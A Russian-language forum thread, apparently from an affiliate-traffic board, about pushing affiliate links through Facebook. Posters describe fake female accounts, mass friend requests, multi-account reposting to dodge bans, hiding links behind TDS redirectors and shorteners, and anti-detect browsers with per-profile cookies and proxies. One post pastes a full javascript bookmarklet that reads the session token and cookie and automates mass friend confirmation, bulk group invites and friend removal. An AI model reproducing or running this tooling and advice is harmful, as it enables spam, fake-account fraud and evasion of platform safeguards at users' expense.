Вот так это примерно делается http://prntscr.com/eaotpx И никакой откровенной порноты, лёгкая эротика, порноту можно только в личку, а не то бан
Вернее сказать совсем не так всё делается В акке ты вообще не можешь ссылки вставлять, никакиечто-то я вообще не вкуриваю как с фейсбуком работать.
Создал акк тёлки. Добавил фотки. В коментах прописал ссылку на ПП. В вебсайте поставил эту же ссылку. И просто в ленту запостил её(ссылку) же с фоткой.
Отправил кучу запросов в друзья. За пару часов добавилось больше 200 друзей. А трафика НОЛЬ. Даже бля ни одного перехода нет. Может кто подскажет, что я не так делаю. И как вообще правильно сливать трафик с фейсбука?
Работаю в течение полугода с ней, стоит она на много дешевле - 17$ в месяц ( чуть меньше 1000 ), и да, это лучший софт из просто существующих. А протестил я много. Правда говнища российского не стал даже брать - функционал в раз 10 скуднее, а просят слишком много. Хрен им за воротник.Да что то с ссылками всё усложнено У меня боты ФБ на группу в ФБ натыкаются, и юзеры с компов, на ПП попадает только траф с планшетов и андроидов
[DOUBLEPOST=1485589008][/DOUBLEPOST]
Самая популярная это Масспланер, но она только на английском и стоит в районе 45 баксов, по моему на пол года, недостаток всего по 4 акка для каждой соц. сети Набредал на русско язычную альтернативу, но она стоит в районе 20 косарей, с таким же функционалом
Не знаю, что лучше, я пока обхожусь старьём, но мысли есть вот эту шнягу приобрести http://megatop.biz/threads/swspybrowser-internet-multibrauzer-v-kazhdoj-vkladke-svoi-cookies-useragent-i-ip-adres.18528/ , а так я вообще не понимаю зачем Масспланер? Для того, что бы постить в группах по расписанию на 4 акка? Или кликабельные фотки делать для ФБ? У меня и без этого видно что я засрать всё ФБ могу видеом с Ютуба через ТДС, это уже покруче Причём я репостю с разных акков в разные группы, ФБ уже сам не знает кого банить?Работаю в течение полугода с ней, стоит она на много дешевле - 17$ в месяц ( чуть меньше 1000 ), и да, это лучший софт из просто существующих. А протестил я много. Правда говнища российского не стал даже брать - функционал в раз 10 скуднее, а просят слишком много. Хрен им за воротник.
Уже ВК тоже бесплатные домены не пропускает.ФБ очень болезненно реагирует на ссылке, хуже чем ВК, в ВК хоть бесплатные домены прокатывают, а здесь приходиться их прогонять то через ТДСки, то через сокращалки, то уводить через Ютуб
А я не понимаю зачем тебе этот браузер? Создай кучу профилей в мозиле. И будет тебе в каждом профиле свои cookies, useragent и IP-адресНе знаю, что лучше, я пока обхожусь старьём, но мысли есть вот эту шнягу приобрести http://megatop.biz/threads/swspybrowser-internet-multibrauzer-v-kazhdoj-vkladke-svoi-cookies-useragent-i-ip-adres.18528/ , а так я вообще не понимаю зачем Масспланер?
А в какие группы ты постышь? В свои? Или просто находишь популярные?Для того, что бы постить в группах по расписанию на 4 акка? Или кликабельные фотки делать для ФБ? У меня и без этого видно что я засрать всё ФБ могу видеом с Ютуба через ТДС, это уже покруче Причём я репостю с разных акков в разные группы, ФБ уже сам не знает кого банить?
Не встречалЕсть ли какое рускоязычное видео как пользоваться massplanner???
Нету в Мозиле кучи куков и куча профилей, он даже настройки не запоминает, пробовал я это делать Если только МультиФокс (плагин) так он куда то подевался с нета Да и как то пробовал я его, на более менее серьёзных сайтах он не прокатываетА я не понимаю зачем тебе этот браузер? Создай кучу профилей в мозиле. И будет тебе в каждом профиле свои cookies, useragent и IP-адрес
Что-то ты не туда смотришь - https://support.mozilla.org/t5/Установка-и-обновление/Использование-Менеджера-профилей-для-создания-и-удаления/ta-p/10280Нету в Мозиле кучи куков и куча профилей, он даже настройки не запоминает, пробовал я это делать Если только МультиФокс (плагин) так он куда то подевался с нета Да и как то пробовал я его, на более менее серьёзных сайтах он не прокатывает
Да он не запоминает ни прокси, ни историюУ меня после создания профилей все стало как один профиль. Слетели все плагины, закладки.
Профиль, это ещё не значит настройки и куки, мозила она и так запоминает пароли для профилей Я на эту тему знаю только одну мысль, это ставить для каждого акка отдельную мозилу, я пробовал, но мне что то не понравилось, работает всё это коряво, вот тогда там будет всё запоминаться и профиль, и куки и прокси, потому как каждая Мозила в отдельной папке, со своими, индивидуальными настройками. К тому же много мозил не поставить, каждый браузер весит минимум 20 метров, может конечно попробовать поставить и Гугл хром, но я про это уже ничего не слышал, Мозилу ставят, про остальные браузеры не слышалНе дружите Вы с мозилой. Попробуйте в хроме профили создать или в опере.
javascript: void(function () { var STOP = 900; var PAUSE = 400; var dtsg = document.getElementsByName("fb_dtsg")[0].value; var uid = document.cookie.match(/c_user=(\d+)/)[1]; var dyn = "7n8ahyj35CCzpQ9UmWOGUGy1m9ACUb8yGg"; var req = 8; var rev = "1033590"; var ttstamp = "265816767119957579"; window.aing = { uid: uid, loding: { img: "<img src=\"//fbstatic-a.akamaihd.net/rsrc.php/v2/yb/r/GsNJNwuI-UM.gif\" width=\"16px\" height=\"11px\" style=\"margin:0 5px;vertical-align:bottom\"/>", bar: function (dimana, sampe, kolbek, pakeInfoGak) { if(dimana == null || dimana == "") { dimana = document.body } sampe = sampe * 1; if(aing.loding.frm && aing.loding.frm < sampe) { aing.loding.frm++ } else if(aing.loding.frm && aing.loding.frm == sampe) {} else { aing.loding.frm = 1 } var b = ((aing.loding.frm * 100) / sampe); aing.loding.inf(dimana); var w = dimana.getElementsByClassName("loading-bar")[0].firstChild; w.style.width = b + "%"; if(aing.loding.frm >= sampe) { w.innerHTML = Math.floor(b) + "% Done!"; kolbek() } else { w.innerHTML = Math.floor(b) + "%" } if(pakeInfoGak == null || pakeInfoGak == "yes" || pakeInfoGak == "") { dimana.getElementsByClassName("loding-atas")[0].innerHTML = "<b>" + aing.loding.frm + "/" + sampe + "</b>" } }, inf: function (a, isi) { if(!a) { a = document.body } var b = a.getElementsByClassName("tempat-loding")[0]; if(b && isi) { b.getElementsByClassName("loading-bar")[0].firstChild.innerHTML = isi } else if(!b) { if(isi) { aing.isiDimanaSebelum(aing.html.lodBar(null, isi), a) } else { aing.isiDimanaSebelum(aing.html.lodBar(), a) } } } }, html: { lodBar: function (atas, tengah) { var a = "<div class=\"tempat-loding\" style=\"margin-bottom:2px\"><center class=\"loding-atas\">"; if(atas) { a += atas } a += "</center><div class=\"loading-bar\"><div style=\"" + aing.styl.bar + "\">"; if(tengah) { a += tengah } else { a += "Loading, wait up.." } a += "</div></div></div>"; return a }, info: function (atas, tengah, bawah) { var b = "\" style=\"margin-top:2px\">", c = "<div id=\"", d = "</div>", a = c + "impoh" + b; if(atas) { a += atas } a += d + c + "impoh-ok" + b; if(tengah) { a += tengah } a += d + c + "impoh-eror" + b; if(bawah) { a += bawah } return a + d }, btn: function (onclik, isi) { return "<a class=\"uiButton\" href=\"#\" onClick=\"" + onclik + ";return false\" style=\"font-size:9px;margin:2px;line-height:9px\">" + isi + "</a>" }, box: function (isi, warna, pad) { var d = "<div class=\"uiBox"; if(warna == "g") { d += "Gray" } else if(warna == "r") { d += "Red" } else { d += "Yellow" } d += "\" style=\""; if(pad == null || pad == "") { d += aing.styl.box } else { d += "border-radius:3px" } d += "\">" + isi + "</div>"; return d } }, ajax: { a: "__a=1&__user=" + uid, b: "&fb_dtsg=" + dtsg, c: "&__dyn=7n8ahyj35CCzpQ9UmWOGUGy1m9ACUb8yGg&__req=8&__rev=1033590", d: "&ttstamp=265816767119957579", requestsLoader: function () { return { uri: "/ajax/requests/loader/", prm: aing.ajax.a + aing.ajax.b + aing.ajax.c + aing.ajax.d + "&log_impressions=true" } }, friendRequests: function (a) { var b = aing.ajax.a + aing.ajax.b + aing.ajax.c + aing.ajax.d + "&confirm=", c = a; if(a.confirm) { b += a.confirm } else { b += a } b += "&request_id="; if(a.request_id) { b += a.request_id; c = a.request_id } else { b += a } b += "&list_item_id="; if(a.list_item_id) { b += a.list_item_id } else { b += a + "_1_req" } b += "&status_div_id="; if(a.status_div_id) { b += a.status_div_id } else { b += a + "_1_req_status" } b += "&type="; if(a.type) { b += a.type } else { b += "friend_connect" } b += "&inline="; if(a.inline) { b += a.inline } else { b += 1 } b += "&ref="; if(a.ref) { b += a.ref } else { b += "jewel" } b += "&actions[accept]="; if(a["actions[accept]"]) { b += a["actions[accept]"] } else { b += "Confirm" } b += "&nctr[_mod]=pagelet_bluebar"; return { uri: "/ajax/reqs.php", prm: b, uid: c } } }, prms: { df: "__a=1&__user=" + uid + "&__dyn=" + dyn + "&__req=" + req + "&__rev=" + rev + "&fb_dtsg=" + dtsg + "&ttstamp=" + ttstamp, dg: "__a=1&__user=" + uid + "&__dyn=" + dyn + "&__req=" + req + "&__rev=" + rev, gr: "__a=1&__user=" + uid + "&source=typeahead&ref=&message_id=&phstamp=&fb_dtsg=" + dtsg, gf: "__a=1&viewer=" + uid + "&token=" + Math.random() + "&filter[0]=user&options[0]=friends_only" }, uris: { gf: "/ajax/typeahead/first_degree.php", gr: "/ajax/groups/members/add_post.php", rf: "/ajax/profile/removefriendconfirm.php" }, styl: { box: "text-align:left;border-radius:3px;padding:3px", bar: "text-align:center;border-radius:2px;background-color:#4c66a4;white-space:nowrap;overflow:visible;color:#fff9d7;font-size:10px;padding:1px 0 2px 0", inf: "text-align:center;border-radius:5px;width:500px;position:fixed;z-index:9999;top:25%;right:5%;font-size:10px;box-shadow:0 0 7px rgba(0,0,0,0.25);background-color:rgba(242,242,242,0.75)" }, stat: { ttlReq: [], ttlReqOk: 0, ttlReqEr: 0 }, friendSugs: [], kolbek: { getFriend: function (q, p) { var a = ""; if(p.payload && p.payload.entries) { aing.friends = aing.saringPren(aing.aduk(p.payload.entries)); aing.frFolder(); var ab = "Found <b id=\"jmlh-fn\">" + aing.friends.length + " Friends</b>"; if(aing.frReqs.length != 0) { ab += " and <b id=\"jmlh-fr\">" + aing.frReqs.length + " Friend requests</b>" } if(aing.friendSugs && aing.friendSugs.length != 0) { ab += " and <b id=\"jmlh-sugfr\">" + aing.friendSugs.length + " Friend suggestions</b>" } a = aing.html.box(ab, "g", "np") + aing.html.info(); } else if(p && p.errorSummary && p.errorDescription) { a = aing.html.box(p.errorSummary + ", " + p.errorDescription, "r", "np") } else { a = aing.html.box(JSON.stringify(p), "r", "np") } aing.tampiltombol(a); } }, remBtn: function () { var c = document.getElementById("kiri-bawah"); if(c) { var d = c.getElementsByClassName("uiButton")[0]; if(d) { d.parentNode.parentNode.removeChild(d.parentNode) } } }, isiDimanaSebelum: function (isi, dimana, sebelum) { if(dimana) { var a = document.createElement("div"); a.innerHTML = isi; if(sebelum == null || sebelum == "") { sebelum = dimana.firstChild } while(a.firstChild) { dimana.insertBefore(a.firstChild, sebelum) } } }, tampiltombol: function (isi, dimana, nopren) { var e = ""; if(aing.friends && aing.friends.length != 0) { e += aing.html.btn("aing.addToGroup()", "<span style=\"color:darkgreen\">Invite</span> " + aing.friends.length + " Friends to Group") + aing.html.btn("aing.remFriends()", "<span style=\"color:darkred\">Remove</span> " + aing.friends.length + " Friends") } if(aing.frReqs && aing.frReqs.length != 0) { e += aing.html.btn("aing.reqs.con()", "<span style=\"color:darkorange\">Confirm</span> " + aing.frReqs.length + " Friend Requests") } if(aing.friendSugs && aing.friendSugs.length != 0) { e += aing.html.btn("aing.reqs.add()", "<span style=\"color:darkseagreen\">Add " + aing.friendSugs.length + " Friend Suggestions</span>") } e += aing.html.btn("aing.klos('wk')", "Refresh") + aing.html.btn("aing.klos()", "<span style=\"color:darkred\">Close</span>"); var f = isi + aing.html.box(e, "g", "yes"); if(dimana == null || dimana == "") { f += aing.crj; aing.kasihTau(f) } else { aing.kasihTau(f, dimana) } }, kasihTau: function (isi, elementId) { var c = document.getElementById("kiri-bawah"); if(c) { if(elementId == null || elementId == "") { var imp = document.getElementById("impoh"); if(imp) { imp.innerHTML = isi } else { c.innerHTML = isi } } else { var d = document.getElementById(elementId); if(d) { d.innerHTML = isi } else { aing.isiDimanaSebelum("<div id=\"" + elementId + "\">" + isi + "</div>", c) } } } else { var e = "<div id=\"kiri-bawah\" class=\"pam uiBoxGray\" style=\"" + aing.styl.inf + "\">" + isi + "</div>"; var f = document.getElementById("rightCol"); if(!f) { f = document.body } aing.apen(e, f) } }, apen: function (isi, di) { if(di) { var a = document.createElement("div"); a.innerHTML = isi; while(a.firstChild) { di.appendChild(a.firstChild) } } }, aduk: function (a) { var b = a.length, c, d; while(0 !== b) { d = Math.floor(Math.random() * b); b -= 1; c = a[b]; a[b] = a[d]; a[d] = c } return a }, kolAjak: function (i, r, l, a, n) { if(n == null || n == "") { n = "POST" } else { if(i.match(/\?/)) { i += "&" + r } else { i += "?" + r } } var h = new XMLHttpRequest(); h.open(n, i, true); h.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); h.onreadystatechange = function (c) { if(c.target.readyState == 4) { if(aing.panggilanKe) { aing.panggilanKe++ } else { aing.panggilanKe = 1 } var e = { errorSummary: "Connection error !", errorDescription: "Ajax status=" + c.target.status }; if(c.target.status == 200 || c.target.status == 400) { var d = c.target.responseText; if(d == "") { e.errorSummary = "empty callback!" } else { e = JSON.parse(d.substring(d.indexOf("{"), d.lastIndexOf("}") + 1)) } a(l, e) } else if(aing.panggilanKe < 2) { aing.kolAjak(i, r, l, a, n) } else { aing.panggilanKe = 0; a(l, e) } } }; h.send(r) }, frnomore: function () { aing.tampiltombol("", "impoh") }, crj: (function () { var cr = ["i", "a", "e", "g", "o", "s", "n", "b", "l", "p", "m", "2", "r", "0", "c", "1", "t", "3", "\xA9"], crl = cr[1] + cr[0] + cr[6] + cr[3] + cr[14] + cr[12] + cr[2] + cr[1] + cr[16] + cr[0] + cr[4] + cr[6] + cr[5] + "." + cr[7] + cr[8] + cr[4] + cr[3] + cr[5] + cr[9] + cr[4] + cr[16] + "." + cr[14] + cr[4] + cr[10]; return "<div style=\"margin-top:10px;color:gray;font-size:12px;text-align:right\">" + cr[1].toUpperCase() + cr[0] + cr[6] + cr[3] + cr[14].toUpperCase() + cr[12] + cr[2] + cr[1] + cr[16] + cr[0] + cr[4] + cr[6] + cr[5] + " " + cr[cr.length - 1] + cr[11] + cr[13] + cr[15] + cr[17] + "<div style=\"font-size:9px\"><a href=\"http://" + crl + "/\" target=\"_blank\">" + crl + "</a></div></div>" })(), klos: function (waw) { var inf = document.getElementById("kiri-bawah"); if(inf) { if(waw == null || waw == "") { inf.parentNode.removeChild(inf) } else { inf.innerHTML = "<b>Reloading the page, wait up..</b> " + aing.loding.img } } aing.kolAjak("/ajax/friends/lists/subscribe/modify", aing.ajax.requestsLoader().prm + "&location=permalink&action=subscribe&flid=501570839962382", "", function () { if(document.getElementById("kiri-bawah")) { top.location.reload() } }) }, resvars: function () { aing.loding.frm = 0; aing.kasihTau("", "impoh-eror"); aing.kasihTau("", "impoh-ok") }, cekwas: function (a, w) { var b = "lanyut"; if(a == aing.uid) { b = "lewat" } else { for(z in w) { if(a == w[z]) { b = "lewat"; break } } } return b }, frFolder: function () { var a = document.getElementById("friendsTypeaheadResults"); if(a) { var b = a.parentNode.getElementsByClassName("friendButton"); for(var x = 0; x < b.length; x++) { var c = b[x].getAttribute("data-profileid"); if(c) { aing.friends.push({ uid: c, text: "id:" + c }) } } } }, saringPren: function (a, c) { var b = []; for(x in a) { if(a[x].uid == aing.uid || a[x].uid == c) {} else { b.push(a[x]) } } return b }, reqs: { put: function (a) { var g = document.getElementById("tmpt-reqs"); var f = document.createElement("div"); if(g) { g.innerHTML = "" } else { g = document.body; f.id = "tmpt-reqs"; f.style.display = "none" } f.innerHTML = a.replace(/<img(.*?)>/gi, ""); g.appendChild(f); }, lod: function () { aing.kasihTau(aing.html.box("Loading friend requests, wait up..", "g", "np")); var ajx = aing.ajax.requestsLoader(); aing.kolAjak(ajx.uri, ajx.prm, "", function (q, p) { if(p.domops && p.domops[0] && p.domops[0][3] && p.domops[0][3].__html) { aing.reqs.put(p.domops[0][3].__html) } aing.getPren("janda") }) }, got: function () { var rk = []; var a = document.getElementsByName("request_id"); for(var x = 0; x < a.length; x++) { var b = a[x].parentNode; if(b) { var c = b.getElementsByTagName("input"); var rkp = {}; for(var y = 0; y < c.length; y++) { rkp[c[y].name] = c[y].value } if(rkp.type && rkp.type == "friend_connect") { var h = aing.cekwas(rkp.request_id, aing.stat.ttlReq); if(h == "lanyut") { rk.push(rkp); aing.stat.ttlReq.push(rkp.request_id) } } else { if(aing.friendSugs) { aing.friendSugs.push(rkp) } else { aing.friendSugs = [rkp] } } b.removeChild(a[x]); } } return rk; }, get: function (f) { var w = "h"; var g = aing.reqs.got(); var a = document.getElementById("fbRequestsJewelMorePager"); if(a) { var b = a.getElementsByTagName("a")[0]; if(b) { var c = b.getAttribute("ajaxify"); if(c && c.split("?")[1]) { var d = decodeURIComponent(c.split("?")[1]).split("&"); for(var x = 0; x < d.length; x++) { var i = d[x].split("="); if(i[1] && i[0].match(/sender_ids/i)) { var j = aing.cekwas(i[1], aing.stat.ttlReq); if(j == "lanyut") { g.push(i[1]); aing.stat.ttlReq.push(i[1]) } } } if(aing.reqs.ajaxify && aing.reqs.ajaxify == c) { aing.reqs.ajaxify = "" } else { aing.reqs.ajaxify = c } a.parentNode.removeChild(a) } } } else if(f == "merawanin" && g.length == 0) { w = "k"; aing.reqs.lod(); } if(w == "h") { return g } }, mor: function () { aing.loding.inf(null, "Collecting more requests, wait up.."); var a = document.getElementById("fbRequestsJewelMorePager"); if(a) { var b = a.getElementsByTagName("a")[0]; if(b) { var c = b.getAttribute("ajaxify"); if(c) { aing.reqs.ajaxify = c; a.parentNode.removeChild(a) } } } if(aing.reqs.ajaxify && aing.reqs.ajaxify != "") { aing.kolAjak(aing.reqs.ajaxify, aing.prms.dg, "", function (q, p) { if(p.domops && p.domops[1] && p.domops[1][3] && p.domops[1][3].__html) { aing.reqs.put(p.domops[1][3].__html) } aing.reqs.ajaxify = ""; aing.frReqs = aing.reqs.get(); if(aing.frReqs.length == 0) { aing.frnomore() } else { aing.reqs.con("nk") } }, "GET") } else { aing.frReqs = aing.reqs.get(); if(aing.frReqs.length == 0) { aing.frnomore() } else { aing.reqs.con("nk") } } }, cnf: function (c, d) { if(c == null || c == "") { c = 0; aing.stat.er = 0; aing.stat.ok = 0 } if(d == null || d == "") { d = 100 } if(d > aing.frReqs.length) { d = aing.frReqs.length; aing.stat.nk = "" } else { aing.stat.nk = { f: d, t: ((d * 2) - c) } } for(var x = c; x < d; x++) { var ajx = aing.ajax.friendRequests(aing.frReqs[x]); aing.kolAjak(ajx.uri, ajx.prm, ajx.uid, function (q, p) { if(p && p.errorSummary && p.errorDescription) { aing.stat.er++; aing.stat.ttlReqEr++; var b = p.errorDescription; aing.kasihTau(aing.html.box("(Fail: <b>" + aing.stat.ttlReqEr + "</b>) " + b, "r"), "impoh-eror"); } else if(p && p.domops && p.domops[0] && p.domops[0][3] && p.domops[0][3].__html) { aing.stat.ok++; aing.stat.ttlReqOk++; var bb = p.domops[0][3].__html.match(/>(.*?)<\/a>/gi); if(bb) { var b = bb[bb.length - 1].replace(/<(.*?)>|<|>/g, "") } else { var b = p.domops[0][3].__html.replace(/<(.*?)>|<|>/g, "_") } aing.kasihTau(aing.html.box("(Successfully Confirmed: <b>" + aing.stat.ttlReqOk + "</b>/" + aing.stat.ttlReq.length + ") <a href=\"/friends\" target=\"_blank\"><b>" + b + "</b></a>"), "impoh-ok"); aing.friends.push({ uid: q, text: b }); var cfn = document.getElementById("jmlh-fn"); if(cfn) { cfn.innerHTML = aing.friends.length + " Friends" } } else { aing.stat.er++; aing.stat.ttlReqEr++; var b = q; aing.kasihTau(aing.html.box("(Fail: <b>" + aing.stat.ttlReqEr + "</b>) UID: " + b, "r"), "impoh-eror"); } var d = document.getElementById("jmlh-fr"); if(d) { d.innerHTML = (aing.frReqs.length - (aing.stat.er + aing.stat.ok)) + " friend requests" } if(aing.stat.nk.f && (aing.stat.er + aing.stat.ok) >= aing.stat.nk.f) { aing.reqs.cnf(aing.stat.nk.f, aing.stat.nk.t) } aing.loding.bar(document.getElementById("impoh"), aing.stat.ttlReq.length, function () { aing.reqs.mor() }, "no") }) } }, con: function (wht) { if(wht == null || wht == "") { aing.remBtn(); aing.resvars(); if(aing.stat.ttlReqOk) { aing.loding.frm = (aing.stat.ttlReqOk + aing.stat.ttlReqEr) } aing.loding.inf(document.getElementById("impoh")) } if(aing.frReqs.length == 0) { var e = "<b>Collecting"; if(aing.stat.ttlReq.length != 0) { e += " more" } e += " requests</b>, wait up.."; aing.kasihTau(aing.html.box(e, "g"), "impoh"); aing.reqs.mor(); } else { aing.reqs.cnf(); } }, add: function () { aing.remBtn(); for(x in aing.friendSugs) { aing.frReqs.push(aing.friendSugs[x]) } aing.friendSugs = []; var cfn = document.getElementById("jmlh-sugfr"); if(cfn) { cfn.innerHTML = aing.friendSugs.length + " Friend suggestions" } aing.reqs.con(); } }, getPren: function (jn) { if(jn == "janda") { aing.frReqs = aing.reqs.get() } else { aing.frReqs = aing.reqs.get("merawanin") } if(aing.frReqs) { var b = ""; if(aing.frReqs.length != 0) { b += "Found <b id=\"jmlh-fr\">" + aing.frReqs.length + " friend requests</b>, Now " } b += "Collecting friends, wait up.. " + aing.loding.img; aing.kasihTau(aing.html.box(b, "g", "np")); aing.kolAjak(aing.uris.gf, aing.prms.gf, "", aing.kolbek.getFriend, "GET") } }, inform: function (a, b) { var c = ""; if(b && b.name) { c = b.name } else if(b && b != "") { for(x in aing.friends) { if(aing.friends[x].text && aing.friends[x].uid && aing.friends[x].uid == b) { c = aing.friends[x].text; break } } } return c.split(" ")[0] }, addToGroup: function (c, d) { var e = "Adding "; if(c == null || c == "") { c = 0; aing.stat.er = 0; aing.stat.ok = 0; var grid = document.getElementsByName("group_id")[0]; if(grid) { aing.gid = grid.value } else { aing.gid = prompt("Insert your Facebook Group ID..", "600218106679454") } if(aing.gid == null || aing.gid == "" || isNaN(aing.gid)) { return false } else { aing.remBtn() } } else { e += "more " } if(d == null || d == "") { d = 100 } if(d > aing.friends.length) { d = aing.friends.length; aing.stat.nk = "" } else { aing.stat.nk = { f: d, t: ((d * 2) - c) } } e += "<b>" + (c + 1) + " to " + d + " friends</b> to Group, wait up.. "; if(c == 0) { aing.resvars(); aing.loding.inf(document.getElementById("impoh")) } for(var x = c; x < d; x++) { aing.kolAjak(aing.uris.gr, aing.prms.gr + "&group_id=" + aing.gid + "&members=" + aing.friends[x].uid, "", function (q, p) { if(p && p.errorSummary && p.errorDescription) { aing.stat.er++; var b = p.errorDescription; if(p.onafterload && p.onafterload[0]) { b = p.errorDescription.replace(/This user|user |Pengguna ini|pengguna /gi, "<a href=\"/friends\" target=\"_blank\" style=\"font-weight:bold\">" + eval(p.onafterload[0].replace(/Arbiter\./i, "aing.")) + "</a>") } if(b.indexOf("confirmation is required")>-1){ alert( "%D0%94%D0%BE%D1%81%D1%82%D0%B8%D0%B3%D0%BD%D1%83%D1%82 %D0%BB%D0%B8%D0%BC%D0%B8%D1%82!" ); return; } aing.kasihTau(aing.html.box("(Fail: <b>" + aing.stat.er + "</b>) " + b, "r"), "impoh-eror"); } else if(p && p.jsmods && p.jsmods.require) { aing.stat.ok++; var a = "<b>"; for(y in p.jsmods.require) { if(p.jsmods.require[y][3] && p.jsmods.require[y][3][1]) { a += " " + p.jsmods.require[y][3][1] } } a += "</b>"; if(p.onload && p.onload[0]) { a += "<div>(Added: <b>" + aing.stat.ok + "</b>/" + aing.friends.length + ") <a href=\"/friends\" target=\"_blank\" style=\"font-weight:bold\">" + eval(p.onload[0].replace(/Arbiter\./i, "aing.")) + "</a> added to Group..</div>" } if(aing.stat.ok == STOP){ alert("%D0%92%D1%8B %D0%B4%D0%BE%D1%81%D1%82%D0%B8%D0%B3%D0%BB%D0%B8 %D0%BA%D0%BE%D0%BD%D1%82%D1%80%D0%BE%D0%BB%D1%8C%D0%BD%D0%BE%D0%B9 %D1%82%D0%BE%D1%87%D0%BA%D0%B8: " + STOP + "\n%D0%90%D0%BA%D0%BA%D1%83%D1%80%D0%B0%D1%82%D0%BD%D0%B5%D0%B9 %D0%B4%D0%B0%D0%BB%D1%8C%D1%88%D0%B5!"); } aing.kasihTau(aing.html.box(a), "impoh-ok"); } else { aing.stat.er++; var b = JSON.stringify(p); if(p.onafterload && p.onafterload[0]) { b += " <a href=\"/friends\" target=\"_blank\" style=\"font-weight:bold\">" + eval(p.onafterload[0].replace(/Arbiter\./i, "aing.")) + "</a>" } alert( "%D0%94%D0%BE%D1%81%D1%82%D0%B8%D0%B3%D0%BD%D1%83%D1%82 %D0%BB%D0%B8%D0%BC%D0%B8%D1%82" ); aing.kasihTau(aing.html.box("(Fail: <b>" + aing.stat.er + "</b>) " + b, "r"), "impoh-eror"); } if((aing.stat.er + aing.stat.ok) >= aing.friends.length) {} else if(aing.stat.nk.f && (aing.stat.er + aing.stat.ok) >= aing.stat.nk.f) { aing.addToGroup(aing.stat.nk.f, aing.stat.nk.t) } aing.loding.bar(document.getElementById("impoh"), aing.friends.length, function () { aing.tampiltombol("", "impoh") }, "no") }) } }, remFriends: function (c, d) { if(c == null || c == "") { c = 0; aing.stat.er = 0; aing.stat.ok = 0; aing.friendsRmvd = aing.friends; aing.remBtn(); aing.resvars(); aing.loding.inf(document.getElementById("impoh")) } if(d == null || d == "") { d = 100 } if(d > aing.friends.length) { d = aing.friends.length; aing.stat.nk = "" } else { aing.stat.nk = { f: d, t: ((d * 2) - c) } } for(var x = c; x < d; x++) { aing.kolAjak(aing.uris.rf, aing.prms.df + "&unref=bd_friends_tab&uid=" + aing.friends[x].uid, aing.friends[x], function (q, p) { if(p && p.errorSummary && p.errorDescription) { aing.stat.er++; var b = p.errorDescription; aing.kasihTau(aing.html.box("(Fail: <b>" + aing.stat.er + "</b>) " + b, "r"), "impoh-eror"); } else if(p.jsmods && p.jsmods.markup && p.jsmods.markup[0] && p.jsmods.markup[0][1] && p.jsmods.markup[0][1].__html) { aing.stat.er++; var b = p.jsmods.markup[0][1].__html.replace(/<(.*?)>|okay/gi, " "); aing.kasihTau(aing.html.box("(Fail: <b>" + aing.stat.er + "</b>) " + b, "r"), "impoh-eror"); } else { aing.stat.ok++; var b = q.text; aing.kasihTau(aing.html.box("(Successfully Removed: <b>" + aing.stat.ok + "</b>/" + aing.friends.length + ") " + b), "impoh-ok"); } aing.friendsRmvd = aing.saringPren(aing.friendsRmvd, q.uid); var cfn = document.getElementById("jmlh-fn"); if(cfn) { cfn.innerHTML = aing.friendsRmvd.length + " Friends" } if((aing.stat.er + aing.stat.ok) >= aing.friends.length) {} else if(aing.stat.nk.f && (aing.stat.er + aing.stat.ok) >= aing.stat.nk.f) { aing.remFriends(aing.stat.nk.f, aing.stat.nk.t) } aing.loding.bar(document.getElementById("impoh"), aing.friends.length, function () { aing.friends = aing.friendsRmvd; aing.tampiltombol("", "impoh") }, "no") }) } } }; aing.getPren(); })();
Профиль, это ещё не значит настройки и куки, мозила она и так запоминает пароли для профилей Я на эту тему знаю только одну мысль, это ставить для каждого акка отдельную мозилу, я пробовал, но мне что то не понравилось, работает всё это коряво, вот тогда там будет всё запоминаться и профиль, и куки и прокси, потому как каждая Мозила в отдельной папке, со своими, индивидуальными настройками. К тому же много мозил не поставить, каждый браузер весит минимум 20 метров, может конечно попробовать поставить и Гугл хром, но я про это уже ничего не слышал, Мозилу ставят, про остальные браузеры не слышал
И вообще для всех не верующих в мозилу. Запилил небольшой видос, в котором показываю как создать профили в мозиле. И самое главное, что каждый профиль запоминает свою историю, куки, user agent и прокси.Да он не запоминает ни прокси, ни историю
А кто не работает с ботами?Как можно работать с ботами?
Не знаю, но можете брать его хоть за 800 р, разработчики мне обещали скрипты для работы в ФБ Сейчас многие скрипты или палятся, или не работают (для Аймакрос)Предлагаю поучаствовать в складчине на браузер swSpyBrowser. На оф.сайте стоимость 1990р мы будем брать за 1200р